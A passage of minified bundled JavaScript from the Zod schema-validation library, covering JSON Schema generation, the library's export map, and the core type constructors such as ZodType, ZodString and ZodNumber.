Z=G;Z.type="boolean";break}case"default":{this.process(Y.innerType,$),H.ref=Y.innerType,G.default=JSON.parse(JSON.stringify(Y.defaultValue));break}case"prefault":{if(this.process(Y.innerType,$),H.ref=Y.innerType,this.io==="input")G._prefault=JSON.parse(JSON.stringify(Y.defaultValue));break}case"catch":{this.process(Y.innerType,$),H.ref=Y.innerType;let Z;try{Z=Y.catchValue(void 0)}catch{throw Error("Dynamic catch values are not supported in JSON Schema")}G.default=Z;break}case"nan":{if(this.unrepresentable==="throw")throw Error("NaN cannot be represented in JSON Schema");break}case"template_literal":{let Z=G,W=A._zod.pattern;if(!W)throw Error("Pattern not found in template literal");Z.type="string",Z.pattern=W.source;break}case"pipe":{let Z=this.io==="input"?Y.in._zod.def.type==="transform"?Y.out:Y.in:Y.out;this.process(Z,$),H.ref=Z;break}case"readonly":{this.process(Y.innerType,$),H.ref=Y.innerType,G.readOnly=!0;break}case"promise":{this.process(Y.innerType,$),H.ref=Y.innerType;break}case"optional":{this.process(Y.innerType,$),H.ref=Y.innerType;break}case"lazy":{let Z=A._zod.innerType;this.process(Z,$),H.ref=Z;break}case"custom":{if(this.unrepresentable==="throw")throw Error("Custom types cannot be represented in JSON Schema");break}default:}}}let O=this.metadataRegistry.get(A);if(O)Object.assign(H.schema,O);if(this.io==="input"&&e$(A))delete H.schema.examples,delete H.schema.default;if(this.io==="input"&&H.schema._prefault)(q=H.schema).default??(q.default=H.schema._prefault);return delete H.schema._prefault,this.seen.get(A).schema}emit(A,K){let q={cycles:K?.cycles??"ref",reused:K?.reused??"inline",external:K?.external??void 0},Y=this.seen.get(A);if(!Y)throw Error("Unprocessed schema. This is a bug in Zod.");let z=(X)=>{let $=this.target==="draft-2020-12"?"$defs":"definitions";if(q.external){let W=q.external.registry.get(X[0])?.id;if(W)return{ref:q.external.uri(W)};let D=X[1].defId??X[1].schema.id??`schema${this.counter++}`;return X[1].defId=D,{defId:D,ref:`${q.external.uri("__shared")}#/${$}/${D}`}}if(X[1]===Y)return{ref:"#"};let G=`${"#"}/${$}/`,Z=X[1].schema.id??`__schema${this.counter++}`;return{defId:Z,ref:G+Z}},w=(X)=>{if(X[1].schema.$ref)return;let $=X[1],{ref:_,defId:G}=z(X);if($.def={...$.schema},G)$.defId=G;let Z=$.schema;for(let W in Z)delete Z[W];Z.$ref=_};for(let X of this.seen.entries()){let $=X[1];if(A===X[0]){w(X);continue}if(q.external){let G=q.external.registry.get(X[0])?.id;if(A!==X[0]&&G){w(X);continue}}if(this.metadataRegistry.get(X[0])?.id){w(X);continue}if($.cycle){if(q.cycles==="throw")throw Error(`Cycle detected: #/${$.cycle?.join("/")}/<root> Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`);else if(q.cycles==="ref")w(X);continue}if($.count>1){if(q.reused==="ref"){w(X);continue}}}let H=(X,$)=>{let _=this.seen.get(X),G=_.def??_.schema,Z={...G};if(_.ref===null)return;let W=_.ref;if(_.ref=null,W){H(W,$);let D=this.seen.get(W).schema;if(D.$ref&&$.target==="draft-7")G.allOf=G.allOf??[],G.allOf.push(D);else Object.assign(G,D),Object.assign(G,Z)}if(!_.isParent)this.override({zodSchema:X,jsonSchema:G,path:_.path??[]})};for(let X of[...this.seen.entries()].reverse())H(X[0],{target:this.target});let J={};if(this.target==="draft-2020-12")J.$schema="https://json-schema.org/draft/2020-12/schema";else if(this.target==="draft-7")J.$schema="http://json-schema.org/draft-07/schema#";else console.warn(`Invalid target: ${this.target}`);Object.assign(J,Y.def);let O=q.external?.defs??{};for(let X of this.seen.entries()){let $=X[1];if($.def&&$.defId)O[$.defId]=$.def}if(!q.external&&Object.keys(O).length>0)if(this.target==="draft-2020-12")J.$defs=O;else J.definitions=O;try{return JSON.parse(JSON.stringify(J))}catch(X){throw Error("Error converting schema to JSON.")}}}function MF(A,K){if(A instanceof fEA){let Y=new leA(K),z={};for(let J of A._idmap.entries()){let[O,X]=J;Y.process(X)}let w={},H={registry:A,uri:K?.uri||((J)=>J),defs:z};for(let J of A._idmap.entries()){let[O,X]=J;w[O]=Y.emit(X,{...K,external:H})}if(Object.keys(z).length>0){let J=Y.target==="draft-2020-12"?"$defs":"definitions";w.__shared={[J]:z}}return{schemas:w}}let q=new leA(K);return q.process(A),q.emit(A,K)}function e$(A,K){let q=K??{seen:new Set};if(q.seen.has(A))return!1;q.seen.add(A);let z=A._zod.def;switch(z.type){case"string":case"number":case"bigint":case"boolean":case"date":case"symbol":case"undefined":case"null":case"any":case"unknown":case"never":case"void":case"literal":case"enum":case"nan":case"file":case"template_literal":return!1;case"array":return e$(z.element,q);case"object":{for(let w in z.shape)if(e$(z.shape[w],q))return!0;return!1}case"union":{for(let w of z.options)if(e$(w,q))return!0;return!1}case"intersection":return e$(z.left,q)||e$(z.right,q);case"tuple":{for(let w of z.items)if(e$(w,q))return!0;if(z.rest&&e$(z.rest,q))return!0;return!1}case"record":return e$(z.keyType,q)||e$(z.valueType,q);case"map":return e$(z.keyType,q)||e$(z.valueType,q);case"set":return e$(z.valueType,q);case"promise":case"optional":case"nonoptional":case"nullable":case"readonly":return e$(z.innerType,q);case"lazy":return e$(z.getter(),q);case"default":return e$(z.innerType,q);case"prefault":return e$(z.innerType,q);case"custom":return!1;case"transform":return!0;case"pipe":return e$(z.in,q)||e$(z.out,q);case"success":return!1;case"catch":return!1;default:}throw Error(`Unknown schema type: ${z.type}`)}var aL8=k(()=>{oQ1();Qq()});var sL8={};var tL8=()=>{};var kb={};_q(kb,{version:()=>YF1,util:()=>h4,treeifyError:()=>Jg1,toJSONSchema:()=>MF,toDotPath:()=>dC8,safeParseAsync:()=>ZEA,safeParse:()=>gHA,registry:()=>veA,regexes:()=>M6A,prettifyError:()=>Og1,parseAsync:()=>GEA,parse:()=>_EA,locales:()=>UHA,isValidJWT:()=>JL8,isValidBase64URL:()=>HL8,isValidBase64:()=>kF1,globalRegistry:()=>Eb,globalConfig:()=>evA,function:()=>gU1,formatError:()=>$EA,flattenError:()=>XEA,config:()=>UX,clone:()=>iN,_xid:()=>ueA,_void:()=>NU1,_uuidv7:()=>ReA,_uuidv6:()=>LeA,_uuidv4:()=>CeA,_uuid:()=>keA,_url:()=>yeA,_uppercase:()=>kEA,_unknown:()=>pHA,_union:()=>Tq5,_undefined:()=>MU1,_ulid:()=>xeA,_uint64:()=>DU1,_uint32:()=>XU1,_tuple:()=>IU1,_trim:()=>SEA,_transform:()=>Sq5,_toUpperCase:()=>bEA,_toLowerCase:()=>hEA,_templateLiteral:()=>Qq5,_symbol:()=>jU1,_success:()=>Bq5,_stringbool:()=>xU1,_stringFormat:()=>uU1,_string:()=>aQ1,_startsWith:()=>LEA,_size:()=>TEA,_set:()=>Lq5,_safeParseAsync:()=>XeA,_safeParse:()=>OeA,_regex:()=>vEA,_refine:()=>bU1,_record:()=>kq5,_readonly:()=>Fq5,_property:()=>yU1,_promise:()=>pq5,_positive:()=>kU1,_pipe:()=>gq5,_parseAsync:()=>JeA,_parse:()=>HeA,_overwrite:()=>jF,_optional:()=>hq5,_number:()=>YU1,_nullable:()=>bq5,_null:()=>PU1,_normalize:()=>IEA,_nonpositive:()=>LU1,_nonoptional:()=>uq5,_nonnegative:()=>RU1,_never:()=>fU1,_negative:()=>CU1,_nativeEnum:()=>yq5,_nanoid:()=>SeA,_nan:()=>EU1,_multipleOf:()=>f6A,_minSize:()=>N6A,_minLength:()=>vi,_min:()=>_V,_mime:()=>yEA,_maxSize:()=>dHA,_maxLength:()=>cHA,_max:()=>gE,_map:()=>Cq5,_lte:()=>gE,_lt:()=>WF,_lowercase:()=>EEA,_literal:()=>Iq5,_length:()=>lHA,_lazy:()=>Uq5,_ksuid:()=>BeA,_jwt:()=>ceA,_isoTime:()=>KU1,_isoDuration:()=>qU1,_isoDateTime:()=>eQ1,_isoDate:()=>AU1,_ipv6:()=>geA,_ipv4:()=>meA,_intersection:()=>Eq5,_int64:()=>WU1,_int32:()=>OU1,_int:()=>wU1,_includes:()=>CEA,_guid:()=>NEA,_gte:()=>_V,_gt:()=>DF,_float64:()=>JU1,_float32:()=>HU1,_file:()=>SU1,_enum:()=>Rq5,_endsWith:()=>REA,_emoji:()=>IeA,_email:()=>EeA,_e164:()=>deA,_discriminatedUnion:()=>vq5,_default:()=>xq5,_date:()=>TU1,_custom:()=>hU1,_cuid2:()=>beA,_cuid:()=>heA,_coercedString:()=>sQ1,_coercedNumber:()=>zU1,_coercedDate:()=>vU1,_coercedBoolean:()=>_U1,_coercedBigint:()=>ZU1,_cidrv6:()=>QeA,_cidrv4:()=>FeA,_catch:()=>mq5,_boolean:()=>$U1,_bigint:()=>GU1,_base64url:()=>peA,_base64:()=>UeA,_array:()=>xEA,_any:()=>VU1,TimePrecision:()=>tQ1,NEVER:()=>AEA,JSONSchemaGenerator:()=>leA,JSONSchema:()=>sL8,Doc:()=>jeA,$output:()=>nQ1,$input:()=>rQ1,$constructor:()=>_6,$brand:()=>am1,$ZodXID:()=>DF1,$ZodVoid:()=>gF1,$ZodUnknown:()=>QHA,$ZodUnion:()=>NeA,$ZodUndefined:()=>xF1,$ZodUUID:()=>JF1,$ZodURL:()=>XF1,$ZodULID:()=>WF1,$ZodType:()=>O5,$ZodTuple:()=>V6A,$ZodTransform:()=>jEA,$ZodTemplateLiteral:()=>zQ1,$ZodSymbol:()=>bF1,$ZodSuccess:()=>AQ1,$ZodStringFormat:()=>Gw,$ZodString:()=>P6A,$ZodSet:()=>lF1,$ZodRegistry:()=>fEA,$ZodRecord:()=>dF1,$ZodRealError:()=>mHA,$ZodReadonly:()=>YQ1,$ZodPromise:()=>wQ1,$ZodPrefault:()=>tF1,$ZodPipe:()=>MEA,$ZodOptional:()=>oF1,$ZodObject:()=>QF1,$ZodNumberFormat:()=>SF1,$ZodNumber:()=>VeA,$ZodNullable:()=>aF1,$ZodNull:()=>uF1,$ZodNonOptional:()=>eF1,$ZodNever:()=>mF1,$ZodNanoID:()=>_F1,$ZodNaN:()=>qQ1,$ZodMap:()=>cF1,$ZodLiteral:()=>nF1,$ZodLazy:()=>HQ1,$ZodKSUID:()=>jF1,$ZodJWT:()=>yF1,$ZodIntersection:()=>pF1,$ZodISOTime:()=>VF1,$ZodISODuration:()=>fF1,$ZodISODateTime:()=>MF1,$ZodISODate:()=>PF1,$ZodIPv6:()=>TF1,$ZodIPv4:()=>NF1,$ZodGUID:()=>HF1,$ZodFunction:()=>mU1,$ZodFile:()=>rF1,$ZodError:()=>OEA,$ZodEnum:()=>iF1,$ZodEmoji:()=>$F1,$ZodEmail:()=>OF1,$ZodE164:()=>RF1,$ZodDiscriminatedUnion:()=>UF1,$ZodDefault:()=>sF1,$ZodDate:()=>FF1,$ZodCustomStringFormat:()=>IF1,$ZodCustom:()=>JQ1,$ZodCheckUpperCase:()=>ag1,$ZodCheckStringFormat:()=>FHA,$ZodCheckStartsWith:()=>tg1,$ZodCheckSizeEquals:()=>cg1,$ZodCheckRegex:()=>rg1,$ZodCheckProperty:()=>AF1,$ZodCheckOverwrite:()=>qF1,$ZodCheckNumberFormat:()=>Qg1,$ZodCheckMultipleOf:()=>Fg1,$ZodCheckMinSize:()=>dg1,$ZodCheckMinLength:()=>ig1,$ZodCheckMimeType:()=>KF1,$ZodCheckMaxSize:()=>pg1,$ZodCheckMaxLength:()=>lg1,$ZodCheckLowerCase:()=>og1,$ZodCheckLessThan:()=>ZeA,$ZodCheckLengthEquals:()=>ng1,$ZodCheckIncludes:()=>sg1,$ZodCheckGreaterThan:()=>WeA,$ZodCheckEndsWith:()=>eg1,$ZodCheckBigIntFormat:()=>Ug1,$ZodCheck:()=>KO,$ZodCatch:()=>KQ1,$ZodCUID2:()=>ZF1,$ZodCUID:()=>GF1,$ZodCIDRv6:()=>EF1,$ZodCIDRv4:()=>vF1,$ZodBoolean:()=>WEA,$ZodBigIntFormat:()=>hF1,$ZodBigInt:()=>feA,$ZodBase64URL:()=>LF1,$ZodBase64:()=>CF1,$ZodAsyncError:()=>GF,$ZodArray:()=>DEA,$ZodAny:()=>BF1});var ij=k(()=>{Qq();GeA();TeA();tL8();xHA();$eA();Xg1();PEA();DeA();zF1();oQ1();oL8();BU1();aL8()});var FU1=k(()=>{ij()});var iHA={};_q(iHA,{time:()=>pU1,duration:()=>dU1,datetime:()=>QU1,date:()=>UU1,ZodISOTime:()=>reA,ZodISODuration:()=>oeA,ZodISODateTime:()=>ieA,ZodISODate:()=>neA});function QU1(A){return eQ1(ieA,A)}function UU1(A){return AU1(neA,A)}function pU1(A){return KU1(reA,A)}function dU1(A){return qU1(oeA,A)}var ieA,neA,reA,oeA;var aeA=k(()=>{ij();seA();ieA=_6("ZodISODateTime",(A,K)=>{MF1.init(A,K),rw.init(A,K)});neA=_6("ZodISODate",(A,K)=>{PF1.init(A,K),rw.init(A,K)});reA=_6("ZodISOTime",(A,K)=>{VF1.init(A,K),rw.init(A,K)});oeA=_6("ZodISODuration",(A,K)=>{fF1.init(A,K),rw.init(A,K)})});var AR8=(A,K)=>{OEA.init(A,K),A.name="ZodError",Object.defineProperties(A,{format:{value:(q)=>$EA(A,q)},flatten:{value:(q)=>XEA(A,q)},addIssue:{value:(q)=>A.issues.push(q)},addIssues:{value:(q)=>A.issues.push(...q)},isEmpty:{get(){return A.issues.length===0}}})},cq5,nHA;var cU1=k(()=>{ij();ij();cq5=_6("ZodError",AR8),nHA=_6("ZodError",AR8,{Parent:Error})});var lU1,iU1,nU1,rU1;var oU1=k(()=>{ij();cU1();lU1=HeA(nHA),iU1=JeA(nHA),nU1=OeA(nHA),rU1=XeA(nHA)});function U1(A){return aQ1(BEA,A)}function iq5(A){return EeA(tU1,A)}function nq5(A){return NEA(teA,A)}function rq5(A){return keA(PF,A)}function oq5(A){return CeA(PF,A)}function aq5(A){return LeA(PF,A)}function sq5(A){return ReA(PF,A)}function Ap1(A){return yeA(eU1,A)}function tq5(A){return IeA(Kp1,A)}function eq5(A){return SeA(qp1,A)}function A55(A){return heA(Yp1,A)}function K55(A){return beA(zp1,A)}function q55(A){return xeA(wp1,A)}function Y55(A){return ueA(Hp1,A)}function z55(A){return BeA(Jp1,A)}function w55(A){return meA(Op1,A)}function H55(A){return geA(Xp1,A)}function J55(A){return FeA($p1,A)}function O55(A){return QeA(_p1,A)}function X55(A){return UeA(Gp1,A)}function $55(A){return peA(Zp1,A)}function _55(A){return deA(Wp1,A)}function G55(A){return ceA(Dp1,A)}function Z55(A,K,q={}){return uU1(KR8,A,K,q)}function iY(A){return YU1(mEA,A)}function aU1(A){return wU1(rHA,A)}function W55(A){return HU1(rHA,A)}function D55(A){return JU1(rHA,A)}function j55(A){return OU1(rHA,A)}function M55(A){return XU1(rHA,A)}function mz(A){return $U1(gEA,A)}function P55(A){return GU1(FEA,A)}function V55(A){return WU1(jp1,A)}function f55(A){return DU1(jp1,A)}function N55(A){return jU1(qR8,A)}function T55(A){return MU1(YR8,A)}function QEA(A){return PU1(zR8,A)}function Mp1(){return VU1(wR8)}function p0(){return pHA(HR8)}function KA1(A){return fU1(JR8,A)}function v55(A){return NU1(OR8,A)}function E55(A){return TU1(qA1,A)}function b4(A,K){return xEA(XR8,A,K)}function k55(A){let K=A._zod.def.shape;return AK(Object.keys(K))}function w4(A,K){let q={type:"object",get shape(){return h4.assignProp(this,"shape",{...A}),this.shape},...h4.normalizeParams(K)};return new YA1(q)}function C55(A,K){return new YA1({type:"object",get shape(){return h4.assignProp(this,"shape",{...A}),this.shape},catchall:KA1(),...h4.normalizeParams(K)})}function NZ(A,K){return new YA1({type:"object",get shape(){return h4.assignProp(this,"shape",{...A}),this.shape},catchall:p0(),...h4.normalizeParams(K)})}function gz(A,K){return new Pp1({type:"union",options:A,...h4.normalizeParams(K)})}function zA1(A,K,q){return new $R8({type:"union",options:K,discriminator:A,...h4.normalizeParams(q)})}function UEA(A,K){return new _R8({type:"intersection",left:A,right:K})}function L55(A,K,q){let Y=K instanceof O5,z=Y?q:K;return new GR8({type:"tuple",items:A,rest:Y?K:null,...h4.normalizeParams(z)})}function UO(A,K,q){return new Vp1({type:"record",keyType:A,valueType:K,...h4.normalizeParams(q)})}function R55(A,K,q){return new Vp1({type:"record",keyType:gz([A,KA1()]),valueType:K,...h4.normalizeParams(q)})}function y55(A,K,q){return new ZR8({type:"map",keyType:A,valueType:K,...h4.normalizeParams(q)})}function I55(A,K){return new WR8({type:"set",valueType:A,...h4.normalizeParams(K)})}function i_(A,K){let q=Array.isArray(A)?Object.fromEntries(A.map((Y)=>[Y,Y])):A;return new uEA({type:"enum",entries:q,...h4.normalizeParams(K)})}function S55(A,K){return new uEA({type:"enum",entries:A,...h4.normalizeParams(K)})}function AK(A,K){return new DR8({type:"literal",values:Array.isArray(A)?A:[A],...h4.normalizeParams(K)})}function h55(A){return SU1(jR8,A)}function Np1(A){return new fp1({type:"transform",transform:A})}function GK(A){return new Tp1({type:"optional",innerType:A})}function eeA(A){return new MR8({type:"nullable",innerType:A})}function b55(A){return GK(eeA(A))}function VR8(A,K){return new PR8({type:"default",innerType:A,get defaultValue(){return typeof K==="function"?K():K}})}function NR8(A,K){return new fR8({type:"prefault",innerType:A,get defaultValue(){return typeof K==="function"?K():K}})}function TR8(A,K){return new vp1({type:"nonoptional",innerType:A,...h4.normalizeParams(K)})}function x55(A){return new vR8({type:"success",innerType:A})}function kR8(A,K){return new ER8({type:"catch",innerType:A,catchValue:typeof K==="function"?K:()=>K})}function u55(A){return EU1(CR8,A)}function AA1(A,K){return new Ep1({type:"pipe",in:A,out:K})}function RR8(A){return new LR8({type:"readonly",innerType:A})}function B55(A,K){return new yR8({type:"template_literal",parts:A,...h4.normalizeParams(K)})}function SR8(A){return new IR8({type:"lazy",getter:A})}function m55(A){return new hR8({type:"promise",innerType:A})}function bR8(A,K){let q=new KO({check:"custom",...h4.normalizeParams(K)});return q._zod.check=A,q}function kp1(A,K){return hU1(wA1,A??(()=>!0),K)}function xR8(A,K={}){return bU1(wA1,A,K)}function uR8(A,K){let q=bR8((Y)=>{return Y.addIssue=(z)=>{if(typeof z==="string")Y.issues.push(h4.issue(z,Y.value,q._zod.def));else{let w=z;if(w.fatal)w.continue=!1;w.code??(w.code="custom"),w.input??(w.input=Y.value),w.inst??(w.inst=q),w.continue??(w.continue=!q._zod.def.abort),Y.issues.push(h4.issue(w))}},A(Y.value,Y)},K);return q}function g55(A,K={error:`Input not instance of ${A.name}`}){let q=new wA1({type:"custom",check:"custom",fn:(Y)=>Y instanceof A,abort:!0,...h4.normalizeParams(K)});return q._zod.bag.Class=A,q}function Q55(A){let K=SR8(()=>{return gz([U1(A),iY(),mz(),QEA(),b4(K),UO(U1(),K)])});return K}function HA1(A,K){return AA1(Np1(A),K)}var r3,sU1,BEA,rw,tU1,teA,PF,eU1,Kp1,qp1,Yp1,zp1,wp1,Hp1,Jp1,Op1,Xp1,$p1,_p1,Gp1,Zp1,Wp1,Dp1,KR8,mEA,rHA,gEA,FEA,jp1,qR8,YR8,zR8,wR8,HR8,JR8,OR8,qA1,XR8,YA1,Pp1,$R8,_R8,GR8,Vp1,ZR8,WR8,uEA,DR8,jR8,fp1,Tp1,MR8,PR8,fR8,vp1,vR8,ER8,CR8,Ep1,LR8,yR8,IR8,hR8,wA1,F55=(...A)=>xU1({Pipe:Ep1,Boolean:gEA,String:BEA,Transform:fp1},...A);var seA=k(()=>{ij();ij();FU1();aeA();oU1();r3=_6("ZodType",(A,K)=>{return O5.init(A,K),A.def=K,Object.defineProperty(A,"_def",{value:K}),A.check=(...q)=>{return A.clone({...K,checks:[...K.checks??[],...q.map((Y)=>typeof Y==="function"?{_zod:{check:Y,def:{check:"custom"},onattach:[]}}:Y)]})},A.clone=(q,Y)=>iN(A,q,Y),A.brand=()=>A,A.register=(q,Y)=>{return q.add(A,Y),A},A.parse=(q,Y)=>lU1(A,q,Y,{callee:A.parse}),A.safeParse=(q,Y)=>nU1(A,q,Y),A.parseAsync=async(q,Y)=>iU1(A,q,Y,{callee:A.parseAsync}),A.safeParseAsync=async(q,Y)=>rU1(A,q,Y),A.spa=A.safeParseAsync,A.refine=(q,Y)=>A.check(xR8(q,Y)),A.superRefine=(q)=>A.check(uR8(q)),A.overwrite=(q)=>A.check(jF(q)),A.optional=()=>GK(A),A.nullable=()=>eeA(A),A.nullish=()=>GK(eeA(A)),A.nonoptional=(q)=>TR8(A,q),A.array=()=>b4(A),A.or=(q)=>gz([A,q]),A.and=(q)=>UEA(A,q),A.transform=(q)=>AA1(A,Np1(q)),A.default=(q)=>VR8(A,q),A.prefault=(q)=>NR8(A,q),A.catch=(q)=>kR8(A,q),A.pipe=(q)=>AA1(A,q),A.readonly=()=>RR8(A),A.describe=(q)=>{let Y=A.clone();return Eb.add(Y,{description:q}),Y},Object.defineProperty(A,"description",{get(){return Eb.get(A)?.description},configurable:!0}),A.meta=(...q)=>{if(q.length===0)return Eb.get(A);let Y=A.clone();return Eb.add(Y,q[0]),Y},A.isOptional=()=>A.safeParse(void 0).success,A.isNullable=()=>A.safeParse(null).success,A}),sU1=_6("_ZodString",(A,K)=>{P6A.init(A,K),r3.init(A,K);let q=A._zod.bag;A.format=q.format??null,A.minLength=q.minimum??null,A.maxLength=q.maximum??null,A.regex=(...Y)=>A.check(vEA(...Y)),A.includes=(...Y)=>A.check(CEA(...Y)),A.startsWith=(...Y)=>A.check(LEA(...Y)),A.endsWith=(...Y)=>A.check(REA(...Y)),A.min=(...Y)=>A.check(vi(...Y)),A.max=(...Y)=>A.check(cHA(...Y)),A.length=(...Y)=>A.check(lHA(...Y)),A.nonempty=(...Y)=>A.check(vi(1,...Y)),A.lowercase=(Y)=>A.check(EEA(Y)),A.uppercase=(Y)=>A.check(kEA(Y)),A.trim=()=>A.check(SEA()),A.normalize=(...Y)=>A.check(IEA(...Y)),A.toLowerCase=()=>A.check(hEA()),A.toUpperCase=()=>A.check(bEA())}),BEA=_6("ZodString",(A,K)=>{P6A.init(A,K),sU1.init(A,K),A.email=(q)=>A.check(EeA(tU1,q)),A.url=(q)=>A.check(yeA(eU1,q)),A.jwt=(q)=>A.check(ceA(Dp1,q)),A.emoji=(q)=>A.check(IeA(Kp1,q)),A.guid=(q)=>A.check(NEA(teA,q)),A.uuid=(q)=>A.check(keA(PF,q)),A.uuidv4=(q)=>A.check(CeA(PF,q)),A.uuidv6=(q)=>A.check(LeA(PF,q)),A.uuidv7=(q)=>A.check(ReA(PF,q)),A.nanoid=(q)=>A.check(SeA(qp1,q)),A.guid=(q)=>A.check(NEA(teA,q)),A.cuid=(q)=>A.check(heA(Yp1,q)),A.cuid2=(q)=>A.check(beA(zp1,q)),A.ulid=(q)=>A.check(xeA(wp1,q)),A.base64=(q)=>A.check(UeA(Gp1,q)),A.base64url=(q)=>A.check(peA(Zp1,q)),A.xid=(q)=>A.check(ueA(Hp1,q)),A.ksuid=(q)=>A.check(BeA(Jp1,q)),A.ipv4=(q)=>A.check(meA(Op1,q)),A.ipv6=(q)=>A.check(geA(Xp1,q)),A.cidrv4=(q)=>A.check(FeA($p1,q)),A.cidrv6=(q)=>A.check(QeA(_p1,q)),A.e164=(q)=>A.check(deA(Wp1,q)),A.datetime=(q)=>A.check(QU1(q)),A.date=(q)=>A.check(UU1(q)),A.time=(q)=>A.check(pU1(q)),A.duration=(q)=>A.check(dU1(q))});rw=_6("ZodStringFormat",(A,K)=>{Gw.init(A,K),sU1.init(A,K)}),tU1=_6("ZodEmail",(A,K)=>{OF1.init(A,K),rw.init(A,K)});teA=_6("ZodGUID",(A,K)=>{HF1.init(A,K),rw.init(A,K)});PF=_6("ZodUUID",(A,K)=>{JF1.init(A,K),rw.init(A,K)});eU1=_6("ZodURL",(A,K)=>{XF1.init(A,K),rw.init(A,K)});Kp1=_6("ZodEmoji",(A,K)=>{$F1.init(A,K),rw.init(A,K)});qp1=_6("ZodNanoID",(A,K)=>{_F1.init(A,K),rw.init(A,K)});Yp1=_6("ZodCUID",(A,K)=>{GF1.init(A,K),rw.init(A,K)});zp1=_6("ZodCUID2",(A,K)=>{ZF1.init(A,K),rw.init(A,K)});wp1=_6("ZodULID",(A,K)=>{WF1.init(A,K),rw.init(A,K)});Hp1=_6("ZodXID",(A,K)=>{DF1.init(A,K),rw.init(A,K)});Jp1=_6("ZodKSUID",(A,K)=>{jF1.init(A,K),rw.init(A,K)});Op1=_6("ZodIPv4",(A,K)=>{NF1.init(A,K),rw.init(A,K)});Xp1=_6("ZodIPv6",(A,K)=>{TF1.init(A,K),rw.init(A,K)});$p1=_6("ZodCIDRv4",(A,K)=>{vF1.init(A,K),rw.init(A,K)});_p1=_6("ZodCIDRv6",(A,K)=>{EF1.init(A,K),rw.init(A,K)});Gp1=_6("ZodBase64",(A,K)=>{CF1.init(A,K),rw.init(A,K)});Zp1=_6("ZodBase64URL",(A,K)=>{LF1.init(A,K),rw.init(A,K)});Wp1=_6("ZodE164",(A,K)=>{RF1.init(A,K),rw.init(A,K)});Dp1=_6("ZodJWT",(A,K)=>{yF1.init(A,K),rw.init(A,K)});KR8=_6("ZodCustomStringFormat",(A,K)=>{IF1.init(A,K),rw.init(A,K)});mEA=_6("ZodNumber",(A,K)=>{VeA.init(A,K),r3.init(A,K),A.gt=(Y,z)=>A.check(DF(Y,z)),A.gte=(Y,z)=>A.check(_V(Y,z)),A.min=(Y,z)=>A.check(_V(Y,z)),A.lt=(Y,z)=>A.check(WF(Y,z)),A.lte=(Y,z)=>A.check(gE(Y,z)),A.max=(Y,z)=>A.check(gE(Y,z)),A.int=(Y)=>A.check(aU1(Y)),A.safe=(Y)=>A.check(aU1(Y)),A.positive=(Y)=>A.check(DF(0,Y)),A.nonnegative=(Y)=>A.check(_V(0,Y)),A.negative=(Y)=>A.check(WF(0,Y)),A.nonpositive=(Y)=>A.check(gE(0,Y)),A.multipleOf=(Y,z)=>A.check(f6A(Y,z)),A.step=(Y,z)=>A.check(f6A(Y,z)),A.finite=()=>A;let q=A._zod.bag;A.minValue=Math.max(q.minimum??Number.NEGATIVE_INFINITY,q.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,A.maxValue=Math.min(q.maximum??Number.POSITIVE_INFINITY,q.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,A.isInt=(q.format??"").includes("int")||Number.isSafeInteger(q.multipleOf??0.5),A.isFinite=!0,A.format=q.format??null});rHA=_6("ZodNumberFormat",(A,K)=>{SF1.init(A,K),mEA.init(A,K)});gEA=_6("ZodBoolean",(A,K)=>{WEA.init(A,K),r3.init(A,K)});FEA=_6("ZodBigInt",(A,K)=>{feA.init(A,K),r3.init(A,K),A.gte=(Y,z)=>A.check(_V(Y,z)),A.min=(Y,z)=>A.check(_V(Y,z)),A.gt=(Y,z)=>A.check(DF(Y,z)),A.gte=(Y,z)=>A.check(_V(Y,z)),A.min=(Y,z)=>A.check(_V(Y,z)),A.lt=(Y,z)=>A.check(WF(Y,z)),A.lte=(Y,z)=>A.check(gE(Y,z)),A.max=(Y,z)=>A.check(gE(Y,z)),A.positive=(Y)=>A.check(DF(BigInt(0),Y)),A.negative=(Y)=>A.check(WF(BigInt(0),Y)),A.nonpositive=(Y)=>A.check(gE(BigInt(0),Y)),A.nonnegative=(Y)=>A.check(_V(BigInt(0),Y)),A.multipleOf=(Y,z)=>A.check(f6A(Y,z));let q=A._zod.bag;A.minValue=q.minimum??null,A.maxValue=q.maximum??null,A.format=q.format??null});jp1=_6("ZodBigIntFormat",(A,K)=>{hF1.init(A,K),FEA.init(A,K)});qR8=_6("ZodSymbol",(A,K)=>{bF1.init(A,K),r3.init(A,K)});YR8=_6("ZodUndefined",(A,K)=>{xF1.init(A,K),r3.init(A,K)});zR8=_6("ZodNull",(A,K)=>{uF1.init(A,K),r3.init(A,K)});wR8=_6("ZodAny",(A,K)=>{BF1.init(A,K),r3.init(A,K)});HR8=_6("ZodUnknown",(A,K)=>{QHA.init(A,K),r3.init(A,K)});JR8=_6("ZodNever",(A,K)=>{mF1.init(A,K),r3.init(A,K)});OR8=_6("ZodVoid",(A,K)=>{gF1.init(A,K),r3.init(A,K)});qA1=_6("ZodDate",(A,K)=>{FF1.init(A,K),r3.init(A,K),A.min=(Y,z)=>A.check(_V(Y,z)),A.max=(Y,z)=>A.check(gE(Y,z));let q=A._zod.bag;A.minDate=q.minimum?new Date(q.minimum):null,A.maxDate=q.maximum?new Date(q.maximum):null});XR8=_6("ZodArray",(A,K)=>{DEA.init(A,K),r3.init(A,K),A.element=K.element,A.min=(q,Y)=>A.check(vi(q,Y)),A.nonempty=(q)=>A.check(vi(1,q)),A.max=(q,Y)=>A.check(cHA(q,Y)),A.length=(q,Y)=>A.check(lHA(q,Y)),A.unwrap=()=>A.element});YA1=_6("ZodObject",(A,K)=>{QF1.init(A,K),r3.init(A,K),h4.defineLazy(A,"shape",()=>K.shape),A.keyof=()=>i_(Object.keys(A._zod.def.shape)),A.catchall=(q)=>A.clone({...A._zod.def,catchall:q}),A.passthrough=()=>A.clone({...A._zod.def,catchall:p0()}),A.loose=()=>A.clone({...A._zod.def,catchall:p0()}),A.strict=()=>A.clone({...A._zod.def,catchall:KA1()}),A.strip=()=>A.clone({...A._zod.def,catchall:void 0}),A.extend=(q)=>{return 